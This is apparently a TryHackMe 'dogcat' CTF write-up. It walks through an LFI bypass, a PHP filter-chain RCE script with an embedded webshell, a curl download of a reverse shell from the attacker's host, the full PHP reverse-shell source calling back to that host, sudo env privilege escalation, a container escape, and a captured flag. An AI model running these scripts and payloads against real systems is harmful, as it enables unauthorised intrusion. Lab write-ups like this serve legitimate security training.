dogcat CTF Writeup on TryHackMe

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Before all

Wolf~
Meow~
Womp~
There’s an imposter amoung us

Victim IP : 10.10.2.219
My IP : 10.8.211.34

Write Up

RECON

RECON isn’t meaningful to this lab though…

Port Scanning

nmap

image

Path Searching

dirsearch

dirsearch -u http://10.10.2.219
And it found out an empty page : flag.php

Web Exploiting

image

This was a simple php site with two choices between dog and cat, and the most interesting part were their paths:
http://10.10.2.219/?view=dog
http://10.10.2.219/?view=cat
So it might had an LFI vulnerability.

LFI

I first tried out something like this:
http://10.10.2.219/?view=../../../../../../../etc/passwd
Well, I was blicked >:
image
It seems like the url parameter needed to contain cat or dog.
After a few minutes, I tried out something like this:
http://10.10.2.219/?view=dog/../cat
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Hooray, this bypass was succeed.

LFI with php filter:
Click here for more informations
http://10.10.2.219/?view=php://filter/convert.base64-encode/resource=dog/../flag
The flag after base64 encoded appeared:
image 

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<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>

RCE with php filter chain:
I’ve wrote a simple RCE script based on this.
Source CODE: 

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#!/usr/bin/env python3
import argparse
import base64
import re
import requests
from colorama import *

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}/dog/../"
    return final_payload

shellcode='wh4~<?php system($_GET["w"])?>wh4~'.encode('UTF-8')
s="""
  _  _  __      _       
 |_ /  (_  |_| |_ |  |  
 |  \_ __) | | |_ |_ |_ 
 __ Whale120
"""
print(Fore.GREEN+s)
print(Fore.WHITE+"PHP Filter Chain Shell")
print("Author:Whale120")
print("https://wha13.github.io")
print("type your target url first(with the file reading parameter)")
url=input("The URL(with parameter and equalsign):").encode()
print("Here is your shell~ 🐳")
while True:
    payload = ('='+input(Fore.BLUE+'fcshell@whale120 $ '+Fore.WHITE)).encode()
    web=requests.get(url+generate_filter_chain(base64.b64encode(shellcode).decode('utf-8').replace("=", "")).encode()+b'&w'+payload)
#    print((url+generate_filter_chain(base64.b64encode(shellcode).decode('utf-8')).encode()+b'&w'+payload))
    print(Fore.WHITE+web.text.split('wh4~')[1])

image

image

PHP Reverse Shell

I first set up a http server with my revershell(reverse.php on port 1221) and ran this command through the filter chain shell:
curl http://10.8.211.34:1221/reverse.php -o shell.php
And the revershell was uploaded, source of php revershell: 

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<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.8.211.34';  // CHANGE THIS
$port = 5124;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Open the listener of my ip on port 5124 and the revershell on victem site:
image

Get shell!!!

Privilege Escalation

sudo -l
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env escalation

GTFOBins
sudo env /bin/bash
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Looking for flag:
find / | grep flag
it was in /root/flag3.txt
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Container Escape

I learned this from other’s writeup😅
Anyway, the site would run the file backup.sh in opt/backups every minute, so it’s feasible to rewrite backup.sh into another revershell to escape container after a minute.
image
One minute later:
image
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After all

Thanks for the nice container escape, I really learned from that XD.
How about my midterm exam…….